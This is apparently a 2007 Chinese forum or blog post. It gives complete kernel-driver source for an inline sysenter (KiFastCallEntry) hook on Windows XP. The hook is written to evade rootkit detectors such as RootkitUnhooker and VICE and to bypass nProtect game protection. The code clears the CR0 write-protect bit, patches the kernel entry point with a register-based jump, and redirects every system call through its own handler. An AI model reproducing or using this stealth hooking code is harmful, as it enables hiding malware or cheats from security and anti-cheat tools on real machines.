先廢話,當初是為了繞開NP對sysenter保護而想出來的,
後來發現連RootkitUnhooker都繞了.
什麼是sysenter hook我也不囉唆了,
一般的攔截方法就是通過rdmsr wrmsr 兩個指令
把原來的sysenter地址改成自己的sysenter地址來實現的.
這種方法使用方便,但檢測也很容易.
這裡介紹的另外一種方法不改變sysenter地址,
而是通過直接在原來sysenter地址裡面寫跳轉代碼來實現的,
這實際上跟一般的函數頭inline hook一樣.
這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
一般的rootkit檢測工具檢測函數inline hook
是通過檢測長跳轉指令0xE9的來判斷跳轉距離
是不是超出函數所在的模塊範圍來確定的.
但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題
,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,
這個絕大多數rootkit檢測工具是檢測不到的(包括著名的
RootkitUnhooker,VICE).
由於我們已經改變了KiFastCall函數頭,
所以我們只能把原來的函數頭代碼放到另外一個地方執行
(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),
然後再跳轉回來.這裡使用了"三級跳",大概是這個樣子.
sysenter->KiFastCall
JMP -> MyKiFastCall(這裡進行攔截或什麼的)
JMP -> KiFastCall head code (這裡執行原來KiFastCall函數頭代碼)
JMP -> KiFastCall + N(已經執行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"
ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這裡
ULONG i; //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm
{
pop edi //因為用到了edi來跳轉 這裡恢復
mov i, eax //得到服務ID
}
__asm
{
pushad
push fs
push 0x30
pop fs
}
DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在
__asm
{
pop fs
popad
jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼
}
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復
__asm
{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 釋放分配的內存
DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////
VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi 第一跳,從KiFastCall跳到MyKiFastCallEntry.並繞過rootkit檢測工具檢測
0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi
UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N
int nCopyLen = 0;
int nPos = 0;
__asm
{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0x%08X",uSysenter);
nPos = uSysenter;
while(nCopyLen<8)
{
//我們要改寫的函數頭至少需要8字節 這裡計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷
nCopyLen += GetOpCodeSize((PVOID)nPos); //參考1
nPos = uSysenter + nCopyLen;
}
DbgPrint("copy code lenght:%d",nCopyLen);
pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);
memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼
*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址
memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去
*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭
__asm
{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過
同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪裡改變